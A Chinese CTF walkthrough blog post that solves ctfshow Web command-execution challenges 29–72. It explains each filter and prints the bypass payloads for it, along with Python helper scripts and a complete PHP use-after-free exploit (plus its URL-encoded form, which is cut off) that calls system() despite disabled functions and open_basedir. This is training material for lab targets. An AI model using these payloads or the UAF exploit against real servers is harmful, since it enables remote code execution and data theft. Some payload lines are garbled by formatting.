ctfshow Web入门命令执行29-124全通关详解(看这一篇就够啦~)

文章目录

命令执行

漏洞产生原理本质原因:应用程序将用户可控的输入数据未经充分安全处理,直接传递给系统命令解释器(如/bin/bash、cmd.exe)执行,导致攻击者能够注入并执行任意操作系统命令。

PHP代码执行函数:eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等

PHP命令执行函数:system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等

命令执行利用:基础注入 、编码绕过 、特殊字符绕过、文件包含配合 、无参数RCE 、无字母数字RCE 、协议利用 、权限提升等,本文都有提及到

本篇笔记详细记录了每一道题的详细思路,小白放心看,有问题可以留下评论一起讨论~

web29-web31:基础注入

web29

error_reporting(0);if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/flag/i",$c)){eval($c);//典型命令执行函数}}else{highlight_file(__FILE__);}

​​​​​​​​​​​​​​eval危险代码执行函数,过滤了flag关键字,从代码执行转向命令执行即可,参考上述给出的命令执行的危险函数

?c=system(''tac fla*");
?c=system(“tac fla?.php”);

web30

过滤关键字:flag、system、php,换种命令执行函数即可

?c=echo shell_exec(‘tac fla*’);

web31

过滤的字符和字符串:flag system php cat sort shell 点 空格 单引号

命令执行危险函数并没有完全过滤,还可以用passthru。至于空格过滤,下面给出几个本题适用的空格绕过方法:(前两个替换方法几乎只在命令执行中用到,后两个web题通用)

Shell内部变量替代空格: ?c=passthru(“tac${IFS}fla*”);
Shell内部变量+空参数混淆:?c=passthru(“tac$IFS$9fla*”);
制表符替代空格:?c=passthru(“tac%09fla*”);
换行符替代空格:?c=passthru(“tac%0afla*”);

web32-web36:参数逃逸

web32

error_reporting(0);if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i",$c)){eval($c);//代码逻辑是只对c参数进行过滤,绕过思路就可以是通过代码执行eval函数在c参数中再定义一个参数,这个新参数就不受c参数的过滤限制}}else{highlight_file(__FILE__);}

过滤的字符和字符串:flag system php cat sort shell 点号 空格 单引号 反引号 echo 分号 左括号

由于增加过滤了括号,因此对于危险函数的使用不利。但是利用include函数无需括号的特性,在c参数中定义一个不受限制的新参数实现参数逃逸,再结合php://filter包装器读取flag.php的base64编码内容,将敏感内容放在GET[1]中绕过检查,成功实现文件包含读取flag。

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web33

方法同上,不过上题用的是php伪协议,这题可以用data

需要注意的是,这里在定义参数需要使用 “?>” 提前闭合语句,才能让data伪协议的解析不被当成php代码解析,所以payload如下:

?c=include%09$_GET[1]?>&1=data://text/plain,<?php system('tac flag.php');?>

web34-36

同上即可,这里为了姿势的多样性秀一下参数逃逸+日志注入
有关日志注入可以参考:
https://blog.ZEEKLOG.net/2301_80027701/article/details/153467118?spm=1001.2014.3001.5502#/

?c=include%0a$_GET[1]?>&1=…/…/…/var/log/nginx/access.log
在这里插入图片描述

web37-web39:文件包含+伪协议命令执行

web37

error_reporting(0);if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/flag/i",$c)){include($c);// 关键:文件包含漏洞点,可以包含任意文件echo$flag;// 关键:输出$flag变量,但变量未在当前文件定义// 说明flag在其他被包含的文件中定义}}else{highlight_file(__FILE__);}

这题的代码已在上述注释中做了解释,如果我们能让c=flag.php,就可以获取flag值了。但是flag字符串被过滤了,并且在include函数中是不支持使用通配符的,这时候我们可以使用data伪协议,我们知道data伪协议可以把后面的数据部分当成php代码执行,这一点在include函数里依然是可以利用的,因此,payload可以这样构造:

?c=data://text/plain,<?php system("tac fla*")?>

web38

过滤了:flag, php, file

在上题的基础上,使用php的短标签语法绕过php关键字限制即可

<?= 这是短标签语法 ?>

payload如下:

?c=data://text/plain,<?= system("tac fla*")?>

web39

error_reporting(0);if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/flag/i",$c)){include($c.".php");}}else{highlight_file(__FILE__);}

看似是在我们输入的参数后面拼接了“.php”字符串,但实际上在执行完system命令以后include函数就会直接完成执行并返回输出,完全忽略了后面的字符串,所以延用上题payload即可

?c=data://text/plain,<?= system("tac fla*")?>

web40:无参数RCE

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i",$c)){eval($c);}}else{highlight_file(__FILE__);}

无参数rce
无参数RCE参考以上文章,这里我只介绍有关这道题的知识点了
首先,当我们有一个可以执行命令的函数如这题的eval,但传入的字符串必须经过一个严格的正则过滤,这个规则不允许我们用任何的显式参数,那就是无参数RCE的典型场景了
此题有关无参数RCE的函数:

localeconv() :返回包含本地化信息的数组,其第一个元素 [0] 通常是小数点
current() :返回数组中的单元,默认取第一个值
dirname():函数返回路径中的目录部分
array_reverse():将数组内容反转
next(): 将指针向后移动一位并返回该元素
show_source(filename):读取文件内容函数

第一步:扫描目录

?c=var_dump(scandir(current(localeconv())));

扫描目录黄金规则:scandir(current(localeconv()));
scandir(‘.’)表示扫描当前目录,但是由于规则限制我们不能写参数,所以我们用current(localeconv());来表示“.”(利用 localeconv() 第一个元素 [0] 通常是小数点, current()默认取第一个值),再配合打印函数var_dump,就构造出了扫描目录的payload,扫描结果如下:

在这里插入图片描述

第二步:文件读取
从第一步执行结果可以看到flag在倒数第二个文件中,所以想到了反转数组,使flag在正数第二个文件中,再配合一个切换指针的函数,实现文件读取

?c=show_source(next(array_reverse(scandir(current(localeconv())))));
在这里插入图片描述

web41:无字母RCE

这道题连字母都限制了,但是留下了“|”管道符,所以我们可以通过位或运算,将字母和数字这些字符重新构造出来

_exp与分析
下面给出一个脚本,来自以上文章,通过脚本可以将可用字符列举出来,运行以后当前目录出现一个rce_or.txt,列举了重新组合后可用的字符串

import re # 定义给定的正则表达式模式 preg ='[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-'# 初始化内容字符串 content =''# 循环遍历ASCII码表中的所有字符对for i inrange(256):for j inrange(256):# 如果字符i和j不匹配给定的正则表达式模式ifnot(re.match(preg,chr(i),re.I)or re.match(preg,chr(j),re.I)):# 将字符i和j进行按位或运算,得到新的字符k k = i | j # 如果字符k是ASCII可见字符(范围在32到126之间)if k >=32and k <=126:# 将字符i和j转换为十六进制形式,并拼接成url编码 a ='%'+hex(i)[2:].zfill(2) b ='%'+hex(j)[2:].zfill(2)# 将k对应的字符和i、j转换拼接结果写入txt文件 content +=(chr(k)+' '+ a +' '+ b +'\n')# 打开名为'rce_or.txt'的文件,以写入模式打开,如果文件不存在则创建 f =open('rce_or.txt','w')# 将生成的内容写入文件 f.write(content)# 关闭文件 f.close()

通过上述脚本,再写一个脚本利用rce_or.txt中的内容组合成我们RCE payload

# -*- coding: utf-8 -*-import requests import urllib from sys import*import os # os.system("php rce_or.php") # 没有将php写入环境变量需手动运行if(len(argv)!=2):print("="*50)print('USER:python exp.py <url>')print("eg: python exp.py http://ctf.show/")print("="*50) exit(0) url = argv[1]defaction(arg): s1 ="" s2 =""for i in arg: f =open("rce_or.txt","r")# 这里替换成你自己生成的可用字符文件位置whileTrue: t = f.readline()if t =="":breakif t[0]== i:# print(i) s1 += t[2:5] s2 += t[6:9]break f.close() output ="(\""+ s1 +"\"|\""+ s2 +"\")"return(output)whileTrue: param = action(input("\n[+] your function:"))+ action(input("[+] your command:")) data ={'c': urllib.parse.unquote(param)# 实际题目请求的参数名,这里是c} r = requests.post(url, data=data)print("\n[*] result:\n"+ r.text)

运行python,输入我们想要执行的命令,get flag~

在这里插入图片描述

web42-web53:绕过无回显RCE

web42

if(isset($_GET['c'])){$c=$_GET['c'];system($c." >/dev/null 2>&1");//将标准输出和标准错误都重定向到/dev/null,也就是不显示的意思}else{highlight_file(__FILE__);}

题目代码想要将我们的命令执行效果重定向到空白来停止输出,我们可以提前截断代码的执行,或者使用下面的特殊逻辑运算符实现命令分隔达到回显目的,payload如下

?c=tac flag.php;
分号分隔两个独立命令,第一个命令正常输出:
?c=tac flag.php||
逻辑或 ||第一个命令成功则短路执行,第二个重定向不会执行
?c=tac%20flag.php%26%26
逻辑与&&第一个命令成功后才会执行第二个重定向命令,需要编码一下
?c=tac%20flag.php%26
& 后台执行第一个命令,立即返回输出,需要编码一下

web43

过滤了分号,少了一种方法,其余同理

?c=tac flag.php||
逻辑或 ||第一个命令成功则短路执行,第二个重定向不会执行
?c=tac%20flag.php%26%26
逻辑与&&第一个命令成功后才会执行第二个重定向命令,需要编码一下
?c=tac%20flag.php%26
& 后台执行第一个命令,立即返回输出,需要编码一下

web44

过滤了flag关键字,使用通配符即可,其余同理

?c=tac f*||
?c=tac%20f*%26%26
?c=tac%20f*%26

web45

过滤了:分号,flag,cat,空格
空格的替换同web31,注意这里不要用转义符,用了会出现错误

?c=tac%09f*%26
?c=tac I F S f ∗ ? c = t a c {IFS}f*%26 ?c=tac IFSf∗?c=tacIFS$9f*%26

web46

有很多方法,我这里只说一句,虽然过滤了数字,但是url编码不会被解析成数字,所以用url编码绕过空格再把通配符换成问号绕过限制

?c=tac%09fla?.php%26

web47-web49

其实用上题payload即可,不过我这里用一个新方法,大家可以了解一下转义符: \ 的作用是让后面的字符 a 失去特殊含义,变成普通字符
web49过滤了百分号,但是url编码不会以单独一个%的形式被过滤,知道这一点以后构造如下payload:

?c=tac%09fl\ag.php%26

web50

&的url编码被过滤,但是管道符没有过滤

新的空格过滤方法:
< 被 shell 解析为重定向输入,< 后面是文件名,所以 shell会将文件内容作为重定向输出

?c=tac<fl\ag.php||

web51

新增tac过滤,转义符绕过

?c=t\ac<fl\ag.php||

web52

新增“ < 、> ”过滤,但是放开了对$和{}的过滤
这里由于转义符被过滤我们用的是单引号绕过,shell中引号可以用来做字符串拼接,相邻的字符串会被自动拼接
这个特性在绝大多数Shell(如Bash、sh、zsh)中都存在。
一个简单的例子:
在Linux的Bash中,你可以这样输入:

echo"hello""world"

输出结果是:

hello world 

因此可以这样构造payload:

?c=t’‘ac${IFS}fl’'ag.php||

但是发现得到的flag是假的,太狡猾了
用ls命令查看,从?c=ls${IFS}…/||一级一级返回上级目录查看,发现flag在根目录,当然大家也可以用第二个命令直接去根目录看

?c=ls${IFS}…/…/…/||

?c=ls${IFS}/||

查看flag

?c=ta’‘c${IFS}/fla’'g||

web52

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i",$c)){echo($c);$d=system($c);echo"<br>".$d;}else{echo'no';}}else{highlight_file(__FILE__);}

过滤是没有变的,只修改了代码的输出

?c=ta’‘c${IFS}/fla’'g||

web53

ta’‘c${IFS}/fla’'g||

web54:关键词模糊匹配

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i",$c)){system($c);}}else{highlight_file(__FILE__);}

事情终于变得有趣起来了,这道题用的是关键词模糊匹配,比如.*c.*a.t. 会匹配包含字母 c、a、t 的任何组合,任何包含这三个字母的顺序出现都会匹配
由于没有禁止ls,所以我们可以先看看flag在哪个文件,发现是flag.php后,可以将flag.php另存为ccccc.txt(文件名只要不和上面规则冲突,本人一开始写的a.txt,做了好几次发现有cat顺序的字母排列,哭)

?c=cp${IFS}f??g.php${IFS}ccccc.txt

然后访问题目地址下的ccccc.txt

在这里插入图片描述

web55-web57:字符集受限 RCE

web55

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i",$c)){system($c);}}else{highlight_file(__FILE__);}

虽然过滤了所有大小写字母,但是没有过滤数字和空格,那就好办了,八进制编码payload:tac flag.php,注意命令和参数要分开编码,因为空格编码的话被shell解析以后不再具有分隔功能,会出现错误,题目没有过滤空格,直接用真实空格,注意!编码结果如下

$‘\164\141\143’ $‘\146\154\141\147\56\160\150\160’

web56

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i",$c)){system($c);}}else{highlight_file(__FILE__);}

过滤了所有字母和数字,以及反引号、%、Tab、&、>、<
我们可以使用的字符:.、/、?、[、]、-、@ 等
通过PHP文件上传机制实现命令执行绕过。核心原理是利用PHP处理文件上传时会在/tmp目录下创建临时文件(如/tmp/phpXXXXXX)的特性。虽然临时文件会很快被删除,但在其存在的短暂时间窗口内,我们可以通过执行该文件来运行任意系统命令。

具体利用方式:通过构造payload . /???/???[@-[],其中点号相当于source命令用于执行脚本,/???/???[@-[] 使用通配符匹配/tmp/phpXXXXXX格式的临时文件名,[@-[]匹配ASCII码表中位于@和[之间的大写字母(即A-Z)。这样完全避开了对小写字母、数字和特殊字符的过滤限制。

通过上传包含bash命令的文件,在临时文件生成后立即执行其中的命令,从而成功突破过滤实现任意命令执行。**

import requests url ='http://8b2eda4b-aee8-406e-9cb3-e0837a533649.challenge.ctf.show/'defexploit(command):# 注意:这里空格被URL编码为%20 payload ='?c=.%20/???/????????[@-[]'# 构造上传文件 files ={"file":(f"shell.sh",f"#!/bin/bash\n{command}","text/plain")}try: response = requests.post(url + payload, files=files)print("响应内容:")print(response.text)except Exception as e:print(f"错误: {e}")if __name__ =="__main__":whileTrue: cmd =input("请输入要执行的命令 (输入quit退出): ")if cmd.lower()=='quit':break exploit(cmd)

运行以后执行tac flag.php获得flag

web57

题目代码明确提示了flag在36.php里面,过滤更加严格
允许的字符:空格、斜杠、$、()
根据这些允许的字符,我们可以利用 Shell 算术扩展 $(()) 进行数学运算来构造数字:

# $(()) 表示数学计算,不输入时默认为0echo$(()) # 输出 0 echo ~$(()))# 表示对0取反,输出~0# $((~$(()))) 计算对0取反的结果echo$((~$(())))# 输出 -1# 通过37个-1相加得到-37,然后对-37取反可以得到36echo$((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))

在linux中进行测试确实输出36,测试值即为payload

在这里插入图片描述

下面直接给出payload,执行以后检查页面源代码可以看到flag

?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
在这里插入图片描述

web58-70:黑盒过滤POST参数

web58-web65

if(isset($_POST['c'])){$c=$_POST['c'];eval($c);}else{highlight_file(__FILE__);}

代码看似就是最简单的代码执行转换命令执行,但是post传参执行c=system(“ls”);页面显示命令执行函数被禁用

还有另一种思路,配合文件读取函数,实现任意文件读取

c=highlight_file("flag.php"); c=readfile("flag.php");#web59开始被过滤  c=show_source("flag.php");#web66开始被过滤 c=echofile_get_contents("flag.php");#web59开始被过滤

web66-67

c=highlight_file(“flag.php”);

flag输出“秀秀得了,flag这次不在这里”
可以通过前面讲过的黄金规则进行目录扫描,扫描根目录:

c=var_dump(scandir(‘/’));
在这里插入图片描述


发现根目录下有一个flag.txt

c=highlight_file(“…/…/…/flag.txt”);

web68-70

题目提示highlight_file()也被禁用
RCE+include包含函数参数逃逸绕过,具体思路方法见web32

c=include($_POST[1]);&1=php://filter/convert.base64-encode/resource=…/…/…/flag.txt

web71输出混淆

题目提示里面下载源码

error_reporting(0);ini_set('display_errors',0);// 你们在炫技吗?if(isset($_POST['c'])){$c=$_POST['c'];eval($c);//获取执行结果$s=ob_get_contents();ob_end_clean();//用正则表达式将所有字母和数字替换为"?",达到输出混淆的目的echopreg_replace("/[0-9]|[a-z]/i","?",$s);}else{highlight_file(__FILE__);}

这道题直接对执行结果进行替换,将所有字母和数字都替换成?,可以提前终止脚本执行使替换规则直接作废

c=include(“/flag.txt”);die();

web72目录限制

和上题代码是一样的,只是flag换位置了,用之前的方法查找flag不能成功了

c=var_dump(scandir(‘/’));

是因为本题使用了 open_basedir(),将php操作的文件锁在指定的路径中,而题目同时限制了set_ini,也就是说我们没法通过修改配置文件来绕过

glob://是PHP内置的一个流包装器,它不直接读取文件内容,它根据指定的模式来寻找并返回匹配的文件或目录路径。本人对glob协议了解浅显,代码参考了:
https://blog.ZEEKLOG.net/Myon5/article/details/140079942#/

c=$a=newDirectoryIterator("glob:///*");foreach($aas$f){echo($f->__toString().' ');}exit(0);

对于以上代码的解释:

$a=opendir("glob:///*");// 打开根目录,并将目录句柄赋值给$awhile(($file=readdir($a))!==false){// 循环读取目录中的每个条目echo$file."<br>";// 输出每个条目的名称,并添加HTML换行标签};exit();// 终止脚本执行

POST提交参数payload以后,成功读到了根目录下面存在flag0.txt文件

由于题目限制我们无法跨目录读取文件,也无法用命令执行函数,所以需要用到UAF脚本,这个涉及到了一些pwn的知识,大佬们可以研究一下,主要就是说UAF 脚本通过内存操作修改PHP内部的函数指针,将普通函数调用劫持为system命令执行。我这里直接当一波脚本小子

c=?><?php pwn("ls /;cat /flag0.txt");functionpwn($cmd){global$abc,$helper,$backtrace;classVuln{public$a;publicfunction__destruct(){global$backtrace;unset($this->a);$backtrace=(newException)->getTrace();# ;)if(!isset($backtrace[1]['args'])){# PHP >= 7.4$backtrace=debug_backtrace();}}}classHelper{public$a,$b,$c,$d;}functionstr2ptr(&$str,$p=0,$s=8){$address=0;for($j=$s-1;$j>=0;$j--){$address<<=8;$address|=ord($str[$p+$j]);}return$address;}functionptr2str($ptr,$m=8){$out="";for($i=0;$i<$m;$i++){$out.=sprintf('%c',$ptr&0xff);$ptr>>=8;}return$out;}functionwrite(&$str,$p,$v,$n=8){$i=0;for($i=0;$i<$n;$i++){$str[$p+$i]=sprintf('%c',$v&0xff);$v>>=8;}}functionleak($addr,$p=0,$s=8){global$abc,$helper;write($abc,0x68,$addr+$p-0x10);$leak=strlen($helper->a);if($s!=8){$leak%=2<<($s*8)-1;}return$leak;}functionparse_elf($base){$e_type=leak($base,0x10,2);$e_phoff=leak($base,0x20);$e_phentsize=leak($base,0x36,2);$e_phnum=leak($base,0x38,2);for($i=0;$i<$e_phnum;$i++){$header=$base+$e_phoff+$i*$e_phentsize;$p_type=leak($header,0,4);$p_flags=leak($header,4,4);$p_vaddr=leak($header,0x10);$p_memsz=leak($header,0x28);if($p_type==1&&$p_flags==6){# PT_LOAD, PF_Read_Write# handle pie$data_addr=$e_type==2?$p_vaddr:$base+$p_vaddr;$data_size=$p_memsz;}elseif($p_type==1&&$p_flags==5){# PT_LOAD, PF_Read_exec$text_size=$p_memsz;}}if(!$data_addr||!$text_size||!$data_size)returnfalse;return[$data_addr,$text_size,$data_size];}functionget_basic_funcs($base,$elf){list($data_addr,$text_size,$data_size)=$elf;for($i=0;$i<$data_size/8;$i++){$leak=leak($data_addr,$i*8);if($leak-$base>0&&$leak-$base<$data_addr-$base){$deref=leak($leak);# 'constant' constant checkif($deref!=0x746e6174736e6f63)continue;}elsecontinue;$leak=leak($data_addr,($i+4)*8);if($leak-$base>0&&$leak-$base<$data_addr-$base){$deref=leak($leak);# 'bin2hex' constant checkif($deref!=0x786568326e6962)continue;}elsecontinue;return$data_addr+$i*8;}}functionget_binary_base($binary_leak){$base=0;$start=$binary_leak&0xfffffffffffff000;for($i=0;$i<0x1000;$i++){$addr=$start-0x1000*$i;$leak=leak($addr,0,7);if($leak==0x10102464c457f){# ELF headerreturn$addr;}}}functionget_system($basic_funcs){$addr=$basic_funcs;do{$f_entry=leak($addr);$f_name=leak($f_entry,0,6);if($f_name==0x6d6574737973){# systemreturnleak($addr+8);}$addr+=0x20;}while($f_entry!=0);returnfalse;}functiontrigger_uaf($arg){# str_shuffle prevents opcache string interning$arg=str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');$vuln=newVuln();$vuln->a=$arg;}if(stristr(PHP_OS,'WIN')){die('This PoC is for *nix systems only.');}$n_alloc=10;# increase this value if UAF fails$contiguous=[];for($i=0;$i<$n_alloc;$i++)$contiguous[]=str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');trigger_uaf('x');$abc=$backtrace[1]['args'][0];$helper=newHelper;$helper->b=function($x){};if(strlen($abc)==79||strlen($abc)==0){die("UAF failed");}# leaks$closure_handlers=str2ptr($abc,0);$php_heap=str2ptr($abc,0x58);$abc_addr=$php_heap-0xc8;# fake valuewrite($abc,0x60,2);write($abc,0x70,6);# fake referencewrite($abc,0x10,$abc_addr+0x60);write($abc,0x18,0xa);$closure_obj=str2ptr($abc,0x20);$binary_leak=leak($closure_handlers,8);if(!($base=get_binary_base($binary_leak))){die("Couldn't determine binary base address");}if(!($elf=parse_elf($base))){die("Couldn't parse ELF header");}if(!($basic_funcs=get_basic_funcs($base,$elf))){die("Couldn't get basic_functions address");}if(!($zif_system=get_system($basic_funcs))){die("Couldn't get zif_system address");}# fake closure object$fake_obj_offset=0xd0;for($i=0;$i<0x110;$i+=8){write($abc,$fake_obj_offset+$i,leak($closure_obj,$i));}# pwnwrite($abc,0x20,$abc_addr+$fake_obj_offset);write($abc,0xd0+0x38,1,4);# internal func typewrite($abc,0xd0+0x68,$zif_system);# internal func handler($helper->b)($cmd);exit();}

将以上代码url编码一下,得到payload

c=%3f%3e%3c%3fphp%0apwn(%22ls+%2f%3bcat+%2fflag0.txt%22)%3b%0a%0afunction+pwn(%24cmd)+%7b%0a++++global+%24abc%2c+%24helper%2c+%24backtrace%3b%0a++++class+Vuln+%7b%0a++++++++public+%24a%3b%0a++++++++public+function+__destruct()+%7b+%0a++++++++++++global+%24backtrace%3b+%0a++++++++++++unset(%24this-%3ea)%3b%0a++++++++++++%24backtrace+%3d+(new+Exception)-%3egetTrace()%3b+%23+%3b)%0a++++++++++++if(!isset(%24backtrace%5b1%5d%5b%27args%27%5d))+%7b+%23+PHP+%3e%3d+7.4%0a++++++++++++++++%24backtrace+%3d+debug_backtrace()%3b%0a++++++++++++%7d%0a++++++++%7d%0a++++%7d%0a%0a++++class+Helper+%7b%0a++++++++public+%24a%2c+%24b%2c+%24c%2c+%24d%3b%0a++++%7d%0a%0a++++function+str2ptr(%26%24str%2c+%24p+%3d+0%2c+%24s+%3d+8)+%7b%0a++++++++%24address+%3d+0%3b%0a++++++++for(%24j+%3d+%24s-1%3b+%24j+%3e%3d+0%3b+%24j--)+%7b%0a++++++++++++%24address+%3c%3c%3d+8%3b%0a++++++++++++%24address+%7c%3d+ord(%24str%5b%24p%2b%24j%5d)%3b%0a++++++++%7d%0a++++++++return+%24address%3b%0a++++%7d%0a%0a++++function+ptr2str(%24ptr%2c+%24m+%3d+8)+%7b%0a++++++++%24out+%3d+%22%22%3b%0a++++++++for+(%24i%3d0%3b+%24i+%3c+%24m%3b+%24i%2b%2b)+%7b%0a++++++++++++%24out+.%3d+sprintf(%27%25c%27%2c%24ptr+%26+0xff)%3b%0a++++++++++++%24ptr+%3e%3e%3d+8%3b%0a++++++++%7d%0a++++++++return+%24out%3b%0a++++%7d%0a%0a++++function+write(%26%24str%2c+%24p%2c+%24v%2c+%24n+%3d+8)+%7b%0a++++++++%24i+%3d+0%3b%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+%24n%3b+%24i%2b%2b)+%7b%0a++++++++++++%24str%5b%24p+%2b+%24i%5d+%3d+sprintf(%27%25c%27%2c%24v+%26+0xff)%3b%0a++++++++++++%24v+%3e%3e%3d+8%3b%0a++++++++%7d%0a++++%7d%0a%0a++++function+leak(%24addr%2c+%24p+%3d+0%2c+%24s+%3d+8)+%7b%0a++++++++global+%24abc%2c+%24helper%3b%0a++++++++write(%24abc%2c+0x68%2c+%24addr+%2b+%24p+-+0x10)%3b%0a++++++++%24leak+%3d+strlen(%24helper-%3ea)%3b%0a++++++++if(%24s+!%3d+8)+%7b+%24leak+%25%3d+2+%3c%3c+(%24s+*+8)+-+1%3b+%7d%0a++++++++return+%24leak%3b%0a++++%7d%0a%0a++++function+parse_elf(%24base)+%7b%0a++++++++%24e_type+%3d+leak(%24base%2c+0x10%2c+2)%3b%0a%0a++++++++%24e_phoff+%3d+leak(%24base%2c+0x20)%3b%0a++++++++%24e_phentsize+%3d+leak(%24base%2c+0x36%2c+2)%3b%0a++++++++%24e_phnum+%3d+leak(%24base%2c+0x38%2c+2)%3b%0a%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+%24e_phnum%3b+%24i%2b%2b)+%7b%0a++++++++++++%24header+%3d+%24base+%2b+%24e_phoff+%2b+%24i+*+%24e_phentsize%3b%0a++++++++++++%24p_type++%3d+leak(%24header%2c+0%2c+4)%3b%0a++++++++++++%24p_flags+%3d+leak(%24header%2c+4%2c+4)%3b%0a++++++++++++%24p_vaddr+%3d+leak(%24header%2c+0x10)%3b%0a++++++++++++%24p_memsz+%3d+leak(%24header%2c+0x28)%3b%0a%0a++++++++++++if(%24p_type+%3d%3d+1+%26%26+%24p_flags+%3d%3d+6)+%7b+%23+PT_LOAD%2c+PF_Read_Write%0a++++++++++++++++%23+handle+pie%0a++++++++++++++++%24data_addr+%3d+%24e_type+%3d%3d+2+%3f+%24p_vaddr+%3a+%24base+%2b+%24p_vaddr%3b%0a++++++++++++++++%24data_size+%3d+%24p_memsz%3b%0a++++++++++++%7d+else+if(%24p_type+%3d%3d+1+%26%26+%24p_flags+%3d%3d+5)+%7b+%23+PT_LOAD%2c+PF_Read_exec%0a++++++++++++++++%24text_size+%3d+%24p_memsz%3b%0a++++++++++++%7d%0a++++++++%7d%0a%0a++++++++if(!%24data_addr+%7c%7c+!%24text_size+%7c%7c+!%24data_size)%0a++++++++++++return+false%3b%0a%0a++++++++return+%5b%24data_addr%2c+%24text_size%2c+%24data_size%5d%3b%0a++++%7d%0a%0a++++function+get_basic_funcs(%24base%2c+%24elf)+%7b%0a++++++++list(%24data_addr%2c+%24text_size%2c+%24data_size)+%3d+%24elf%3b%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+%24data_size+%2f+8%3b+%24i%2b%2b)+%7b%0a++++++++++++%24leak+%3d+leak(%24data_addr%2c+%24i+*+8)%3b%0a++++++++++++if(%24leak+-+%24base+%3e+0+%26%26+%24leak+-+%24base+%3c+%24data_addr+-+%24base)+%7b%0a++++++++++++++++%24deref+%3d+leak(%24leak)%3b%0a++++++++++++++++%23+%27constant%27+constant+check%0a++++++++++++++++if(%24deref+!%3d+0x746e6174736e6f63)%0a++++++++++++++++++++continue%3b%0a++++++++++++%7d+else+continue%3b%0a%0a++++++++++++%24leak+%3d+leak(%24data_addr%2c+(%24i+%2b+4)+*+8)%3b%0a++++++++++++if(%24leak+-+%24base+%3e+0+%26%26+%24leak+-+%24base+%3c+%24data_addr+-+%24base)+%7b%0a++++++++++++++++%24deref+%3d+leak(%24leak)%3b%0a++++++++++++++++%23+%27bin2hex%27+constant+check%0a++++++++++++++++if(%24deref+!%3d+0x786568326e6962)%0a++++++++++++++++++++continue%3b%0a++++++++++++%7d+else+continue%3b%0a%0a++++++++++++return+%24data_addr+%2b+%24i+*+8%3b%0a++++++++%7d%0a++++%7d%0a%0a++++function+get_binary_base(%24binary_leak)+%7b%0a++++++++%24base+%3d+0%3b%0a++++++++%24start+%3d+%24binary_leak+%26+0xfffffffffffff000%3b%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+0x1000%3b+%24i%2b%2b)+%7b%0a++++++++++++%24addr+%3d+%24start+-+0x1000+*+%24i%3b%0a++++++++++++%24leak+%3d+leak(%24addr%2c+0%2c+7)%3b%0a++++++++++++if(%24leak+%3d%3d+0x10102464c457f)+%7b+%23+ELF+header%0a++++++++++++++++return+%24addr%3b%0a++++++++++++%7d%0a++++++++%7d%0a++++%7d%0a%0a++++function+get_system(%24basic_funcs)+%7b%0a++++++++%24addr+%3d+%24basic_funcs%3b%0a++++++++do+%7b%0a++++++++++++%24f_entry+%3d+leak(%24addr)%3b%0a++++++++++++%24f_name+%3d+leak(%24f_entry%2c+0%2c+6)%3b%0a%0a++++++++++++if(%24f_name+%3d%3d+0x6d6574737973)+%7b+%23+system%0a++++++++++++++++return+leak(%24addr+%2b+8)%3b%0a++++++++++++%7d%0a++++++++++++%24addr+%2b%3d+0x20%3b%0a++++++++%7d+while(%24f_entry+!%3d+0)%3b%0a